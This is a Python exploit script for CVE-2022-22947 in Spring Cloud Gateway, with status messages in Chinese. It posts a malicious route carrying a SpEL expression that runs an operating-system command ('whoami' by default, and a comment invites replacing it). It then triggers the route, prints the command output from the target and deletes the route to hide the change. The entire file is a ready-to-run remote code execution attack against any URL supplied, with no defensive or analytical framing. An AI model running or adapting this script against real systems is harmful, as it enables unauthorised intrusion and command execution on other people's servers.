import time

import requests
import json
import sys
import os


def exploit(target_url):
    headers1 = {
        'Accept-Encoding': 'gzip, deflate',
        'Accept': '*/*',
        'Accept-Language': 'en',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
        'Content-Type': 'application/json'
    }

    headers2 = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
        'Content-Type': 'application/x-www-form-urlencoded'
    }

    # command to execute replace "id" in payload

    payload = '''{\r
      "id": "hacktest",\r
      "filters": [{\r
        "name": "AddResponseHeader",\r
        "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\"whoami\\"}).getInputStream()))}"}\r
        }],\r
      "uri": "http://127.0.0.1",\r
      "order": 0\r
    }'''

    if target_url.endswith('/'):
        target_url = target_url.rstrip('/')

    if not target_url.startswith('http'):
        print("-->请在地址前补充 http://、或https://")
        exit(0)

    if 'actuator' in target_url:
        target_url = target_url.split('actuator')[0].rstrip('/')
        print(target_url)

    re1 = requests.post(url=target_url + "/actuator/gateway/routes/hacktest", data=payload, headers=headers1, json=json)
    time.sleep(0.1)
    re2 = requests.post(url=target_url + "/actuator/gateway/refresh", headers=headers2)
    time.sleep(0.1)
    re3 = requests.get(url=target_url + "/actuator/gateway/routes/hacktest", headers=headers2)

    print("+++++++++++++++执行过程记录++++++++++++++++++")
    if re1.status_code == 201:
        print("Step1: 发送包含SpEL 表达式的路由，包含payload  成功 √")
    else:
        print("Step1: 发送包含SpEL 表达式的路由，包含payload  失败 ×")
        exit(0)

    if re2.status_code == 200:
        print("Step2: 触发 payload   成功 √")
    else:
        print("Step2: 触发 payload  失败 ×")
        exit(0)

    if re3.status_code == 200:
        if 'AddResponseHeader' in re3.text:
            print("Step3: 执行 payload   成功 √")
            print("输出如下：")
            print(re3.text)

            re4 = requests.delete(url=target_url + "/actuator/gateway/routes/hacktest", headers=headers2)
            re5 = requests.post(url=target_url + "/actuator/gateway/refresh", headers=headers2)
            if re4.status_code and re5.status_code == 200:
                print("Step4: 清理路由成功   成功 √")
        else:
            print("Step3: payload 执行   失败 ×")
            exit(0)


if __name__ == "__main__":
    print('''  CVE-2022-22947 exploit

  usage: python3 test.py http://8.8.8.8:9000/
''')
    if len(sys.argv) > 1:
        url = sys.argv[1]
        exploit(url)
        print("\n 漏洞利用 成功 √ \n")
    else:
        exit()
        print("\n 漏洞利用 失败 × \n")

